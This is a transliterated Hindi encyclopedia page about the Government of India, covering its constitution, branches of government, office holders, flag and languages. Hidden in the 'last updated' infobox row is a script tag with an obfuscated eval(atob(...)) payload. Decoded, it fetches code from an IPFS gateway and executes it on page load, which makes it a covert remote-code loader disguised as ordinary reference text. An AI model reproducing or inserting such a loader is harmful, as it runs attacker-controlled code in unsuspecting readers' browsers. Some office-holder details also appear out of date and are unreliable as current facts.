भारत सरकार
bharat sarakar
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| desh ka nam | ripablik aauph iandiya; bharat ganarajy |
| sarakar ka prakar | sansadiy sarakar paddhati ke sath samajik prajataantrik ganarajy. |
| rajadhani | dilli |
| prashasanik prabhag | 28 rajy tatha 09 kendr shasit pradesh |
| azadi | 15 agast 1947 (british upaniveshiy shasan se) |
| sanvidhan | 26 janavari, 1950 ko lagoo hua. |
| kanoon pranali | bharat ka sanvidhan desh ki nyay pranali ka srot hai. |
| karyapalika shakha | bharat ka rashtrapati desh ka pradhan hota hai, jabaki pradhanamantri sarakar pramukh hota hai aur mantriparishadh ki sahayata se shasan chalata hai jo mantrimandal mantralay ka gathan karate haian. |
| vidhayika shakha | bharatiy vidhayika mean lokasabha (haus aauf di pipal) aur rajyasabha (rajy parishadh) sansad ke donoan sadanoan ka gathan karate haian. |
| nyayapalika shakha | bharat ka sarvochch nyayalay bharatiy kanoon vyavastha ka shirsh nikay hai. isake bad any uchch nyayalay aur adhinasth nyayalay ate haian. |
| rashtriy dhvaj | rashtriy dhvaj ayatakar tiranga hai jisamean kesariya oopar hai, bich mean safed, aur barabar bhag mean niche gahara hara hai. saphed patti ke kendr mean gahara nila chakr hai jo saranath mean ashok chakr ko darshata hai. |
| rashtrapati | ramanath kovind |
| uparashtrapati | veankaiya nayadoo |
| pradhanamantri | narendr modi |
| lokasabha | 17vian lokasabha |
| lokasabha adhyaksh | om bi dala |
| mukhy nyayadhish | en. vi. raman |
| bhashaean | bharatiy sanvidhan dvara 22 vibhinn bhashaoan ko manyata di gee hai, jisamean hindi adhikarik bhasha hai. anuchchhed 343 (3) bharatiy sansad ko vidhi ke adhin karyalayin uddeshyoan ke lie aangrezi ke upayog ko jari rakhane ka adhikar deta hai. |
| rashtriy divas | 26 janavari (ganatantr divas), 15 agast (svatantrata divas) aur 2 aktoobar (gaandhi jayanti) |
| sanbandhit lekh | bharat, bharat ek jhalak, rashtriy chihn aur pratik |
| any janakari | varsh 2001 ki janaganana ke anusar 1,028 miliyan desh ki kul janasankhya mean se 80.5 pratishat ke sath hinduoan ki adhikaanshata hai doosare sthan par 13.4 pratishat ki janasankhya vale muslim isake bad eesaee, sikh, bauddh, jain aur any ate haian. |
| bahari k diyaan | adhikarik vebasait |
| adyatan | 11:54, 14 march 2022 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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bharat sarakar (aangrezi: Government of India) adhikarik taur se sanghiy sarakar v amataur se kendriy sarakar ke nam se jana jata hai. yah 28 rajyoan tatha 09 kendr shasit pradeshoan ke sanghiy ikaee jo sanyukt roop se bharatiy ganarajy kahalata hai, ki niyantrak pradhikari hai. bharatiy sanvidhan dvara sthapit bharat sarakar nee dilli, dilli se kary karati hai. bharat ke nagarikoan se sanbandhit buniyadi divani aur phaujadari kanoon jaise nagarik prakriya sanhita, bharatiy dand sanhita, aparadh prakriya sanhita, adi mukhyatah sansad dvara banaya jata hai. sangh aur pratyek rajy sarakar tin aangoan karyapalika, vidhayika v nyayapalika ke antargat kam karati hai. sanghiy aur rajy sarakaroan par lagoo kanooni pranali mukhyatah aangrezi sajha aur vaidhanik kanoon par adharit hai. bharat kuchh apavadoan ke sath aantarrashtriy nyayalay ke nyay adhikarita ko svikar karata hai. sthaniy star par panchayati raj pranali dvara shasan ka vikendrikaran kiya gaya hai.
bharat ka sanvidhan
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bharat ka sanvidhan bharat ko ek sarvabhaumik, samajavadi ganarajy ki upadhi deta hai. bharat ek lokataantrik ganarajy hai, jisaka dvisadanatmak sansad vestaminstar shaili ke sansadiy pranali dvara sanchalit hai.
shasan ke mukhy aang
bharat ki shasan vyavastha kendriy aur rajyiy donoan siddhaantoan ka mishran hai. lokasabha, rajyasabha sarvochch nyayalay ki sarvochchata, sangh lok seva ayog ityadi ise ek sanghiy dhaanche ka roop dete haian to rajyoan ke mantrimandal, sthaniy nikayoan ki svayatta ityadi jaise tatv ise rajyoan se bani shasan vyavastha ki or le jate haian. pratyek rajy ka ek rajyapal hota hai jo rashtrapati dvara 5 varshoan ke lie niyukt kiye jate haian. shasan ke mukhy aang nimnalikhit haian-
- nyayapalika
- vyavasthapika
- karyapalika
nyayapalika
bharat ki svatantr nyayapalika ka shirsh sarvochch nyayalay hai, jisaka pramukh pradhan nyayadhish hota hai. sarvochch nyayalay ko apane naye mamaloan tatha uchch nyayalayoan ke vivadoan, donoan ko dekhane ka adhikar hai. bharat mean 24 uchch nyayalay haian, jinake adhikar aur uttaradayitv sarvochch nyayalay ki apeksha simit haian. nyayapalika aur vyavasthapika ke paraspar matabhed ya vivad ka sulah rashtrapati karata hai.
vyavasthapika
vyavasthapika sansad ko kahate haian jisake do sadan haian - rajyasabha jo uchchasadan kahalata hai aur lokasabha jo nimnasadan kahalata hai. rajyasabha mean 245 sadasy hote haian jabaki lokasabha mean 552. rajyasabha ke sadasyoan ka chunav, apratyaksh vidhi se 6 varshoan ke liye hota hai, jabaki lokasabha ke sadasyoan ka chunav pratyaksh vidhi se 5 varshoan ki avadhi ke liye hota hai. 18 varsh se adhik ayu ke sabhi bharatiy nagarik matadan kar lokasabha ke sadasyoan ka chunav karate haian.
karyapalika
karyapalika ke tin aang haian - rashtrapati, uparashtrapati aur mantrimandal. mantrimandal ka pramukh pradhanamantri hota hai. mantrimandal ke pratyek mantri ko sansad ka sadasy hona anivary hai. karyapalika, vyavasthapika se niche hota hai.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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